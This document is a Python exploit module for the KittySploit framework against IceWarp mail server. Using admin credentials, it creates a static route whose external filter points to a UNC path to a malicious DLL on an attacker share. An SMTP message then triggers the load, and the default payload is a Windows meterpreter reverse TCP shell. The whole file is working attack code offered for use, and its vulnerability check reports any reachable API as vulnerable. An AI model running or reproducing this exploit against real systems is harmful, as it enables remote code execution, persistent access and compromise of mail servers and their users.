IceWarp static route UNC external filter DLL RCE

"""IceWarp static route external filter UNC DLL load RCE."""
from __future__ import annotations
import re
import socket
import time
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'IceWarp static route UNC external filter DLL RCE', 'description': 'Admin IQ RPC createaccount static route with r_externalfilterfile UNC; SMTP delivery triggers LoadLibrary.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/meterpreter_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['icewarp', 'rce', 'authenticated', 'unc'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 3, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/icewarp_unc_dll_rce_detect']}}}
    port = OptPort(443, 'IceWarp web/API HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    smtp_port = OptPort(25, 'SMTP port for trigger', required=False)
    admin_email = OptString('', 'IceWarp admin email', required=True)
    admin_password = OptString('', 'Admin password', required=True)
    domain = OptString('', 'Mail domain for static route account', required=True)
    unc_dll = OptString('\\\\attacker\\share\\evil.dll', 'UNC path to malicious DLL', required=True)
    route_local = OptString('rce_route@local', 'Route account local name', required=False)
    api_path = OptString('/icewarpapi/', 'IQ RPC endpoint path', required=False)

    def _xml_escape(self, s: str) -> str:
        return s.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;')

    def _iq(self, xml: str) -> str:
        resp = self.http_request('POST', str(self.api_path or '/icewarpapi/'), data=xml, headers={'Content-Type': 'text/xml; charset=utf-8', 'Accept': 'text/xml'})
        return resp.text or '' if resp else ''

    def _authenticate(self) -> str | None:
        email = self._xml_escape(str(self.admin_email or ''))
        pw = self._xml_escape(str(self.admin_password or ''))
        xml = f'<?xml version="1.0"?><iq format="text/xml" type="set"><query xmlns="admin:iq:rpc"><commandname>authenticate</commandname><commandparams><email>{email}</email><authtype>0</authtype><password>{pw}</password><persistentlogin>0</persistentlogin></commandparams></query></iq>'
        resp = self._iq(xml)
        m = re.search('sid="([^"]+)"', resp)
        return m.group(1) if m else None

    def _create_route(self, sid: str) -> str:
        domain = self._xml_escape(str(self.domain or ''))
        local = self._xml_escape(str(self.route_local or 'rce_route@local'))
        unc = self._xml_escape(str(self.unc_dll or ''))
        item = f'<item><apiproperty><propname>u_mailbox</propname></apiproperty><propertyval><classname>tpropertystring</classname><val>{local}</val></propertyval></item><item><apiproperty><propname>u_type</propname></apiproperty><propertyval><classname>tpropertystring</classname><val>4</val></propertyval></item><item><apiproperty><propname>r_externalfilter</propname></apiproperty><propertyval><classname>tpropertystring</classname><val>1</val></propertyval></item><item><apiproperty><propname>r_externalfiltertype</propname></apiproperty><propertyval><classname>tpropertystring</classname><val>0</val></propertyval></item><item><apiproperty><propname>r_externalfilterfile</propname></apiproperty><propertyval><classname>tpropertystring</classname><val>{unc}</val></propertyval></item><item><apiproperty><propname>r_activity</propname></apiproperty><propertyval><classname>tpropertystring</classname><val>3</val></propertyval></item>'
        xml = f'<?xml version="1.0"?><iq sid="{sid}" format="text/xml" type="set"><query xmlns="admin:iq:rpc"><commandname>createaccount</commandname><commandparams><domainstr>{domain}</domainstr><accountproperties>{item}</accountproperties></commandparams></query></iq>'
        return self._iq(xml)

    def _smtp_trigger(self, recipient: str) -> str:
        host = str(self.rhost or '127.0.0.1')
        port = int(self.smtp_port or 25)
        sender = 'trigger@local'
        sock = socket.create_connection((host, port), timeout=20)
        sock.settimeout(20)
        f = sock.makefile('rb')

        def read_reply() -> str:
            lines: list[str] = []
            while True:
                line = f.readline()
                if not line:
                    break
                txt = line.decode('utf-8', errors='replace').rstrip('\r\n')
                lines.append(txt)
                if len(txt) >= 4 and txt[3] == ' ':
                    break
            return '\n'.join(lines)

        def send(line: str) -> None:
            sock.sendall((line + '\r\n').encode())
        log = [read_reply()]
        send(f'HELO trigger.local')
        log.append(read_reply())
        send(f'MAIL FROM:<{sender}>')
        log.append(read_reply())
        send(f'RCPT TO:<{recipient}>')
        log.append(read_reply())
        send('DATA')
        log.append(read_reply())
        msg = f'From: <{sender}>\r\nTo: <{recipient}>\r\nSubject: trigger\r\n\r\n.\r\n'
        sock.sendall(msg.encode())
        time.sleep(2)
        try:
            log.append(read_reply())
        except OSError:
            log.append('timeout')
        send('QUIT')
        sock.close()
        return '\n'.join(log[-3:])

    def execute(self, _cmd: str) -> str:
        sid = self._authenticate()
        if not sid:
            return 'IceWarp IQ authenticate failed'
        create_resp = self._create_route(sid)
        if 'error' in create_resp.lower()[:200] and 'sid' not in create_resp:
            return f'createaccount failed: {create_resp[:400]}'
        domain = str(self.domain or '')
        local = str(self.route_local or 'rce_route')
        recipient = f'{local}@{domain}' if '@' not in local else local
        smtp_log = self._smtp_trigger(recipient)
        return f'static route configured; SMTP trigger log:\n{smtp_log}\n(DLL load is blind on filter processing)'

    def check(self):
        resp = self.http_request('POST', str(self.api_path or '/icewarpapi/'), data='')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'IceWarp API reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'API not reachable', 'confidence': 'low'}

    def run(self):
        if not str(self.admin_email or '').strip() or not str(self.domain or '').strip():
            print_error('Set admin_email, admin_password, domain, unc_dll')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('createaccount UNC filter + SMTP')
        print_info(self.execute(''))
        self.vulnerable()
        return True